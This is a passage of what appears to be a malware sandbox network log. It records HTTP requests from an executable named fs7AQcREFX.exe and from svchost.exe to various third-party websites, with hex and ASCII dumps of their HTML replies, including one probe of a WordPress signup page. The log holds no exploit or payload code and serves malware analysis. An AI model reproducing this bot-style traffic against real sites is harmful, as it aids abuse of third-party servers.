2023-05-31 12:52:01 UTC	2914	IN	Data Raw: 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 22 3e 0a 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 69 74 61 Data Ascii: d g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock-button"><a href="/index.php/contacto/cita
2023-05-31 12:52:01 UTC	2916	IN	Data Raw: 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 33 20 67 2d 61 Data Ascii: ng" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedblock-animated g-bg-3 g-a
2023-05-31 12:52:01 UTC	2917	IN	Data Raw: 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 74 61 66 6f 6c 69 6f 5f 68 6f 6d 65 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 Data Ascii: <div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class="portafolio_home" href="/index.php/somos-especialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-bloc
2023-05-31 12:52:01 UTC	2918	IN	Data Raw: 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3e 0a 3c Data Ascii: s="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt><
2023-05-31 12:52:01 UTC	2920	IN	Data Raw: 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 66 65 61 74 75 72 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 Data Ascii: ss="spacer"></div></div></div></div></section><section id="g-feature"><div class="g-container"> <div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wr
2023-05-31 12:52:01 UTC	2921	IN	Data Raw: 33 30 30 32 33 2d 20 4f 70 63 69 c3 b3 6e 20 31 20 63 69 74 61 20 64 65 20 6f 6e 63 6f 6c 6f 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 32 20 70 72 6f 67 72 61 6d 61 63 69 c3 b3 6e 20 64 65 20 63 69 72 75 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 33 20 6f 74 72 61 73 20 63 69 74 61 73 20 3c 62 72 3e 0a 48 6f 72 61 72 69 6f 20 64 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 Data Ascii: 30023- Opcin 1 cita de oncologa- Opcin 2 programacin de ciruga- Opcin 3 otras citas <br>Horario de atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <s
2023-05-31 12:52:01 UTC	2922	IN	Data Raw: 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f Data Ascii: ntact-item"><div class="g-contact-label">Calle 48 # 25-56</div> <div class="g-contact-text">Calle 48 # 25-56</div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </
2023-05-31 12:52:01 UTC	2924	IN	Data Raw: 69 67 68 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 2d 32 34 34 34 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e Data Ascii: ight"><div class="g-container"> <div class="g-grid"><div class="g-block size-33-3"><div id="logo-2444-particle" class="g-content g-particle"> <a href="/" title rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San
2023-05-31 12:52:01 UTC	2925	IN	Data Raw: 34 62 66 0d 0a 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 Data Ascii: 4bf/div><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style
2023-05-31 12:52:01 UTC	2926	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	64801	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:59 UTC	2825	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-05-31 12:52:00 UTC	2825	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 May 2023 12:52:00 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-31 12:52:00 UTC	2826	IN	Data Raw: 32 63 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c6<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	55357	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	0	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-05-31 12:52:15 UTC	8068	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=98 Content-Length: 48939 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Wed, 31 May 2023 12:52:14 GMT Connection: close
2023-05-31 12:52:15 UTC	8068	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-05-31 12:52:15 UTC	8071	IN	Data Raw: 35 36 31 32 38 2c 35 36 34 33 30 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 34 37 5d 29 3b 63 61 73 65 22 65 6d 6f 6a 69 22 3a 72 65 74 75 72 6e 21 73 28 5b 35 35 33 35 38 2c 35 36 37 36 30 2c 39 37 39 32 2c 36 35 30 33 39 5d 2c 5b 35 35 33 35 38 2c 35 36 37 36 30 2c 38 32 30 33 2c 39 37 39 32 2c 36 35 30 33 39 5d 29 7d 72 65 74 75 72 6e 21 31 7d 28 6f 5b 72 5d 29 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 74 2e 73 75 70 70 6f 72 74 73 5b 6f 5b 72 5d 5d 2c 22 66 6c 61 67 22 21 3d 3d 6f 5b 72 5d 26 26 28 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 Data Ascii: 56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([55358,56760,9792,65039],[55358,56760,8203,9792,65039])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.su
2023-05-31 12:52:15 UTC	8079	IN	Data Raw: 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 61 74 43 6f 75 6e 74 3d 27 69 6e 64 65 66 69 6e 69 74 65 27 20 62 65 67 69 6e 3d 27 30 27 20 6b 65 79 74 69 6d 65 73 3d 27 30 3b 2e 32 3b 2e 35 3b 31 27 20 6b 65 79 53 70 6c 69 6e 65 73 3d 27 30 2e 32 20 30 2e 32 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 36 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 38 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 Data Ascii: 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repeatCount='indefinite' begin='0' keytimes='0;.2;.5;1' keySplines='0.2 0.2 0.4 0.8;0.2 0.6 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(8)' d='M0 12 V20 H4 V12
2023-05-31 12:52:15 UTC	8087	IN	Data Raw: 73 65 61 72 63 68 5f 70 6c 61 63 65 68 6f 6c 64 65 72 22 3a 22 53 65 61 72 63 68 20 6f 70 74 69 6f 6e 73 22 2c 22 73 75 62 6d 69 74 5f 74 69 63 6b 65 74 22 3a 22 53 75 62 6d 69 74 20 54 69 63 6b 65 74 22 2c 22 73 75 62 6d 69 74 5f 74 69 63 6b 65 74 5f 6c 6f 61 64 69 6e 67 22 3a 22 50 6c 65 61 73 65 20 57 61 69 74 2e 2e 2e 22 2c 22 74 79 70 65 5f 74 6f 5f 73 65 61 72 63 68 22 3a 22 54 79 70 65 20 74 6f 20 73 65 61 72 63 68 22 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6b 62 2d 73 75 70 70 6f 72 74 2f 61 73 73 65 74 Data Ascii: search_placeholder":"Search options","submit_ticket":"Submit Ticket","submit_ticket_loading":"Please Wait...","type_to_search":"Type to search"};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/kb-support/asset
2023-05-31 12:52:15 UTC	8095	IN	Data Raw: 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 7b 76 61 72 20 6c 6f 61 64 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 6f 61 64 22 29 3b 76 61 72 20 72 65 6d 6f 76 65 4c 6f 61 64 69 6e 67 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 6f 61 64 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 6c 6f 61 64 65 72 2d 72 65 6d 6f 76 65 64 22 3b 7d 2c 35 30 30 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 Data Ascii: "text/javascript">document.addEventListener("DOMContentLoaded",function(event){var load=document.getElementById("load");var removeLoading=setTimeout(function(){load.className+=" loader-removed";},500);});</script><link rel="icon" href="https://dataform.c
2023-05-31 12:52:15 UTC	8103	IN	Data Raw: 61 67 65 5f 69 74 65 6d 20 70 61 67 65 2d 69 74 65 6d 2d 31 36 20 63 75 72 72 65 6e 74 5f 70 61 67 65 5f 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 35 38 20 61 63 74 20 66 69 72 73 74 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 48 6f 6d 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 Data Ascii: age_item page-item-16 current_page_item menu-item-54058 act first"><a href='https://dataform.co.uk/' data-level='1'><span class="menu-item-text"><span class="menu-text">Home</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-ob
2023-05-31 12:52:15 UTC	8111	IN	Data Raw: 6d 74 3d 31 36 38 35 35 33 37 35 33 35 2a 31 30 30 30 3b 76 61 72 20 64 69 66 66 6d 73 3d 28 6e 6f 77 2d 67 6d 74 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 63 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4e 61 6d 65 3b 63 3d 63 2e 72 65 70 6c 61 63 65 28 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6e 6f 2d 6a 73 2f 2c 27 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 27 29 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4e 61 6d 65 3d 63 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d Data Ascii: mt=1685537535*1000;var diffms=(now-gmt);</script><script type="text/javascript">var c=document.body.className;c=c.replace(/woocommerce-no-js/,'woocommerce-js');document.body.className=c;</script><script type='text/javascript' src='https://dataform

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	64911	188.114.97.7	443	C:\Users\user\Desktop\fs7AQcREFX.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:00 UTC	2826	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-05-31 12:52:00 UTC	2827	IN	HTTP/1.1 302 Found Date: Wed, 31 May 2023 12:52:00 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Wed, 31 May 2023 13:02:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H80QCn3YSgvw8%2Bi%2BdSsCc0%2FkCQZ1WILWDhhRa2N%2B%2B4z962ILLKfWaGmRDQLnOWxT1c6avvwGd5z4RtfmDXP7jGUv8ESrU7rDuEpaurn1k9TteMHYi6W2i47o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7cff59fcf81e91e3-FRA alt-svc: h3=":443"; ma=86400
2023-05-31 12:52:00 UTC	2827	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 